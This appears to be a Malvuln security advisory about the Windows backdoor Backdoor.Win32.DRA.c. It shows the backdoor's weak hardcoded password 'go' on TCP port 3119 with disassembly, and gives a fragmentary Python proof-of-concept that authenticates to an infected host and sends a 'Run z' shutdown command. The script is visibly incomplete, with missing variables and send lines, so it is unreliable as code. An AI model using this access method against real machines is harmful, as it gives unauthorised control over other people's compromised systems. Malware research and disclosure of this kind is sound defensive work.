Tuesday, January 25, 2022

Backdoor.Win32.DRA.c Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5ff832ce6af4b03a709eaf380672cf34.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DRA.c
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 3119 and authentication is required. However, the password "go" is weak and hardcoded in the PE file. The malware uses "lstrcmpa" Win32 API to check the password, when sending the password we need to be careful that there is no line feed "\n" E.g. "go\n", as what happens when sent using ncat or telnet causing authentication to fail.

00401317 jz loc_401218
0040131D push offset aGo ; "go"
00401322 push offset buf ; lpString1
00401327 call lstrcmpA

0040131D | 68 7C 40 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go"
00401322 | 68 8C 46 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b |
00401327 | E8 F4 0C 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 |
0040132C | 83 F8 00 | cmp eax,0 |
0040132F | 74 2C | je backdoor.win32.dra.c.5ff832ce6af4b03 |
00401331 | 6A 00 | push 0 |
00401333 | 6A 11 | push 11 |
00401335 | 68 11 4C 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password."
0040133A | FF 35 16 4B 40 00 | push dword ptr ds:[404B16] |
00401340 | E8 53 0D 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 |
00401345 | 83 F8 FF | cmp eax,FFFFFFFF |

Type: PE32
MD5: 5ff832ce6af4b03a709eaf380672cf34
Vuln ID: MVID-2022-0470
Disclosure: 01/24/2022

Using ncat, telnet will fail as it sends a new line "\n", so we use a makeshift Python agent.
Sending the command "Run z\r\n" will initiate a shutdown of the infected host.

from socket import *
import time


def conn():
s.connect((MALWARE_HOST, PORT))
return s

def chk_res(s):
while True:
res += s.recv(512)
if "Connected :-) !" in res or "invalid password" in res:
return res

def doit():


#Bad passwd


s.connect((MALWARE_HOST, PORT))

#Correct passwd


#initiates a shutdown of the infected machine
#s.send("Run c\r\n")
s.send("Run z\r\n")


if __name__=="__main__":

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore